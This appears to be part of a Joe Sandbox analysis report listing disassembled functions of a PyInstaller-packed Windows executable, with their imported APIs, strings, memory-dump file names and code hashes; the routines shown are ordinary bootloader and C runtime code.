SendMessageW.USER32 ref: 00007FF67A602291
SendMessageW.USER32 ref: 00007FF67A6022A9
SendMessageW.USER32 ref: 00007FF67A6022C1
GetClientRect.USER32 ref: 00007FF67A6022D0

Part of subcall function 00007FF67A6023F0: GetDC.USER32 ref: 00007FF67A60241B
Part of subcall function 00007FF67A6023F0: SelectObject.GDI32 ref: 00007FF67A602462
Part of subcall function 00007FF67A6023F0: DrawTextW.USER32 ref: 00007FF67A602485
Part of subcall function 00007FF67A6023F0: SelectObject.GDI32 ref: 00007FF67A60249B
Part of subcall function 00007FF67A6023F0: ReleaseDC.USER32 ref: 00007FF67A6024AB
Part of subcall function 00007FF67A6023F0: MoveWindow.USER32 ref: 00007FF67A6024FB
Part of subcall function 00007FF67A6023F0: MoveWindow.USER32 ref: 00007FF67A60253B
Part of subcall function 00007FF67A6023F0: MoveWindow.USER32 ref: 00007FF67A60258E

Strings

BUTTON, xrefs: 00007FF67A602176
Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF67A601F7D
Close, xrefs: 00007FF67A602168
STATIC, xrefs: 00007FF67A60205C, 00007FF67A6020B1
EDIT, xrefs: 00007FF67A60210B

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 2b11bbb19a83a086465840dcd7a103c40d81e06c4cc6566eb68c4ee1e4e9da55
Instruction ID: d8315f3842471467a4136fe77f173564663e82e0bcb8c37ea4083e5c06329ad5
Opcode Fuzzy Hash: 2b11bbb19a83a086465840dcd7a103c40d81e06c4cc6566eb68c4ee1e4e9da55
Instruction Fuzzy Hash: 0AA16877628B8586E714CF21E49479BB360FB88B84F508129EB9D43B68CF3DE164CB40

Function 00007FF67A62481C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF67A62486A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A624ED6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A62504C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A62530A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A62552A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A625767
memcpy_s.LIBCPMT ref: 00007FF67A625842
memcpy_s.LIBCPMT ref: 00007FF67A6258ED
memcpy_s.LIBCPMT ref: 00007FF67A6259BC

Strings

1#QNAN, xrefs: 00007FF67A624983
1#SNAN, xrefs: 00007FF67A62497A
1#INF, xrefs: 00007FF67A624993
1#IND, xrefs: 00007FF67A624957

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 1922c43916b7ae2b1956b00aa5dfceaf9999fbe18ebc65017c42f663bf9222a2
Instruction ID: 77f528b8a19c1472c81ae6f477aada886073812103a2cb621eb0ddc65429d31d
Opcode Fuzzy Hash: 1922c43916b7ae2b1956b00aa5dfceaf9999fbe18ebc65017c42f663bf9222a2
Instruction Fuzzy Hash: BEB2C173E282928BE735CE64D444BFE37A1FB54B88F505175DA0997AE8DF3CA9009B40

Function 00007FF67A608570 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF67A602A5E,?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A608597
FormatMessageW.KERNEL32 ref: 00007FF67A6085C6
WideCharToMultiByte.KERNEL32 ref: 00007FF67A60861C

Part of subcall function 00007FF67A6029E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF67A6088F2,?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A602A14
Part of subcall function 00007FF67A6029E0: MessageBoxW.USER32 ref: 00007FF67A602AF0

Strings

No error messages generated., xrefs: 00007FF67A6085D0
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF67A608639
PyInstaller: FormatMessageW failed., xrefs: 00007FF67A6085E3
FormatMessageW, xrefs: 00007FF67A6085D7
Failed to encode wchar_t as UTF-8., xrefs: 00007FF67A608626
WideCharToMultiByte, xrefs: 00007FF67A60862D

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: f8b909e9681ff6aa95198e912ee695dc1f7db9a724790c30e57e4941c2966439
Instruction ID: 12e6fccf38b16e42fa9e5c213358f1299b0f996496265acda73b639ef660bd07
Opcode Fuzzy Hash: f8b909e9681ff6aa95198e912ee695dc1f7db9a724790c30e57e4941c2966439
Instruction Fuzzy Hash: 92213073A38A4282EB60DF11E85467B7265FF88B85F940075D64DC66F4EF3CE145AB00

Function 00007FF67A60C67C Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF67A60C698
RtlCaptureContext.KERNEL32 ref: 00007FF67A60C6C5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF67A60C6DF
RtlVirtualUnwind.KERNEL32 ref: 00007FF67A60C720
IsDebuggerPresent.KERNEL32 ref: 00007FF67A60C774
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF67A60C795
UnhandledExceptionFilter.KERNEL32 ref: 00007FF67A60C7A0

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: be1c9f70274c1bfa0c57ec5397cb0351ad5ab78a1ed88338b70abc701b0ce300
Instruction ID: 5a2a7397d4afd246c4c34ba51716d6ca89c87dcaea257c0dd1776e2c4262c76f
Opcode Fuzzy Hash: be1c9f70274c1bfa0c57ec5397cb0351ad5ab78a1ed88338b70abc701b0ce300
Instruction Fuzzy Hash: 45316E73629B818AEB60CF60E8447EE3360FB88B44F44403ADA4D87AA4DF38D648D700

Function 00007FF67A61ACD8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF67A61AD51
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF67A61AD69
RtlVirtualUnwind.KERNEL32 ref: 00007FF67A61ADA4
IsDebuggerPresent.KERNEL32 ref: 00007FF67A61ADDD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF67A61ADE7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF67A61ADF2

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 008726ea591ffa8193f39527e8fee48c852db3d8167e5981d4ed2afc12fe266b
Instruction ID: c41bf7239cef4692b793fa8ed0085835a4660f546518de07068f192ab70fab7e
Opcode Fuzzy Hash: 008726ea591ffa8193f39527e8fee48c852db3d8167e5981d4ed2afc12fe266b
Instruction Fuzzy Hash: CE315E37628B8186DB60CF25E8446BF73A0FB88B54F500275EA9D83BA8DF38D555DB00

Function 00007FF67A621FE4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A622030
FindFirstFileExW.KERNEL32 ref: 00007FF67A62213A

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 524e51f0921ab816a8e947fcf7c0d96cffb913f518e40e1861c067ce2dfcbe45
Instruction ID: 5c2af25f0d38f0d82fcce9281658111bb999b6d26469fdeb5cae1f8acb5c4641
Opcode Fuzzy Hash: 524e51f0921ab816a8e947fcf7c0d96cffb913f518e40e1861c067ce2dfcbe45
Instruction Fuzzy Hash: D0B19123B2969681EA64DF32D8046BB6392EB54FE4F444171EE5D87BE5DE3CE441E300

Function 00007FF67A60C560 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF67A60C58C
GetCurrentThreadId.KERNEL32 ref: 00007FF67A60C59A
GetCurrentProcessId.KERNEL32 ref: 00007FF67A60C5A6
QueryPerformanceCounter.KERNEL32 ref: 00007FF67A60C5B6

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b9418945c21ca9359366919164a8697e450450899f1773ca7228eb8eaa6a9b3b
Instruction ID: 5c52561a126f9bbe748b46611f8b8c2bc86a8046c9f2379e42e7c853d56f7016
Opcode Fuzzy Hash: b9418945c21ca9359366919164a8697e450450899f1773ca7228eb8eaa6a9b3b
Instruction Fuzzy Hash: 0B113026B25F0589EB00CF70E8542BA33A4FB19B58F440E31DA6D867B4DF7CD1A59390

Function 00007FF67A624380 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF67A6243E6
memcpy_s.LIBCPMT ref: 00007FF67A624411

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 50526d8a9866b1caae2769776b3f2f6c6ec0b6801f14bf1b2a63fb0a34b787ff
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 6EC10373B2928687EB24CF19A04866BB7A1F794B84F459135DB5E87B94DF3DE800CB40

Function 00007FF67A62A0F8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF67A62A347
RaiseException.KERNEL32 ref: 00007FF67A62A358

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 9ceb1b6cde6f3b2eda1c2fc70bd7e1e7d126a653b4f6510e73c9dfb920cedcd9
Instruction ID: 91ee32ee8524b306b4d27eff1ecbd371e00b9059ebcd8b51d55ff3723cfecd93
Opcode Fuzzy Hash: 9ceb1b6cde6f3b2eda1c2fc70bd7e1e7d126a653b4f6510e73c9dfb920cedcd9
Instruction Fuzzy Hash: E4B16973621B898AEB15CF29C8463693BA0F784FA8F188961DA5DC37B4CF79D451D700

Function 00007FF67A613BE4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF67A613D52
, xrefs: 00007FF67A613F94

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: c4872f1e0598d0dbbdaab36ff9640d642bec52225eb732dc17c9982f250c6bea
Instruction ID: 7e0497e6ed9f381ebcc28ac6d9da55acdebc2f5f2ddef27ef737da3c52b5497b
Opcode Fuzzy Hash: c4872f1e0598d0dbbdaab36ff9640d642bec52225eb732dc17c9982f250c6bea
Instruction Fuzzy Hash: 61E1A173A28A4686EBAC8E25C15053E2BA0FF45F48F145175DA0F877B4DF39E852E740

Function 00007FF67A61E5B0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF67A61E6BD
gfff, xrefs: 00007FF67A61E73A

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: dcea56467776434e5e52420c9f77f7819282e5f197dea1188040280776680b59
Instruction ID: f45ebac3a6dc599cb700e2c3761a905faff2c2f41b37fe4bdced61c257b04dc5
Opcode Fuzzy Hash: dcea56467776434e5e52420c9f77f7819282e5f197dea1188040280776680b59
Instruction Fuzzy Hash: C551577BB282C587E7258A35D80477AAB91E744F94F888271CBAC87AE5DF3DD044D700

Function 00007FF67A621038 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 97f539a7fe7fc551e0c66836eb46f4a9937a07ec542780b0bb5d867a01fb23bb
Instruction ID: d280b50e9dded92fc824490446cdca00b2d47525a72da95aa44a70b0c5c774f5
Opcode Fuzzy Hash: 97f539a7fe7fc551e0c66836eb46f4a9937a07ec542780b0bb5d867a01fb23bb
Instruction Fuzzy Hash: 8502C1B3B3D65681FA65EF11981027B2A84AF41F90F0586B5DE6DC67F2DE3DE801A300

Function 00007FF67A61E11C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF67A61E45E

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: da57d4f04fe3a59080078ae7a8b70c1646e0beb0550e210eb96496c016bfbe06
Instruction ID: 5cd5f22a6fbe102c8fe80d87b703955cb3d2efc684af6038ba8b28eb1269585d
Opcode Fuzzy Hash: da57d4f04fe3a59080078ae7a8b70c1646e0beb0550e210eb96496c016bfbe06
Instruction Fuzzy Hash: 10A13367B28786C7EB21CB25E0107BE7F91AB65B84F048172DA8D877A1DE3DE501E701

Function 00007FF67A6187D0 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF67A6187EF

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: b40e3cd0490e49b4e03091f5df65c164794e39d8e0591c1286e7656c319f7229
Instruction ID: fef5af383709bb6a96cf363a5bf668870444997379b53bb7fd1d682d6f23b2f7
Opcode Fuzzy Hash: b40e3cd0490e49b4e03091f5df65c164794e39d8e0591c1286e7656c319f7229
Instruction Fuzzy Hash: CF51B313F2834281FAA4AB27D90157B5A91AF94FC5F0844B5DE5DC77F6EE3CE402A202

Function 00007FF67A623BF0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF67A623BF4

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 7569e3696a4862237eb2d75a5d3254d27d2728382b8d3a4fb7a9071d2e6cb06f
Instruction ID: 633771c2538b6b22f657a2a0dec7bd4cbf213f31eb04eb950394bb2553a9dd02
Opcode Fuzzy Hash: 7569e3696a4862237eb2d75a5d3254d27d2728382b8d3a4fb7a9071d2e6cb06f
Instruction Fuzzy Hash: 63B09221E27A46C2EB486B116C8A21522A4BF48B00FA480B8C10C82330EE2C21B56700

Function 00007FF67A6137E0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1b45cc5b539c2f4a44f5a431b63c23698d5cd8cc6c74fd81da4f2666c4fe2f5
Instruction ID: 6d5f69681ffc8eb2e3b3f4a60a1bbed58c291eb9fd7c53a25e45f1bdfa8f7084
Opcode Fuzzy Hash: e1b45cc5b539c2f4a44f5a431b63c23698d5cd8cc6c74fd81da4f2666c4fe2f5
Instruction Fuzzy Hash: 07D1C567A2864286EBAC8F25C15427F3BA0EB05F48F1446B5CE4F876B5EF39D845E340

Function 00007FF67A6090D0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84ec6a3f320757ef13b53a77f9400a9296092c401b576f7c6112a1c9e532824b
Instruction ID: 3f7f67664682eb69732bafca0d34f1f46e3cc787e7bc9748807efd440cf8c7e9
Opcode Fuzzy Hash: 84ec6a3f320757ef13b53a77f9400a9296092c401b576f7c6112a1c9e532824b
Instruction Fuzzy Hash: 09C192732241E04BD2C9EB29E45957A77E1F78834DBD4443AEB8B47B89CA3CE514D710

Function 00007FF67A612E50 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

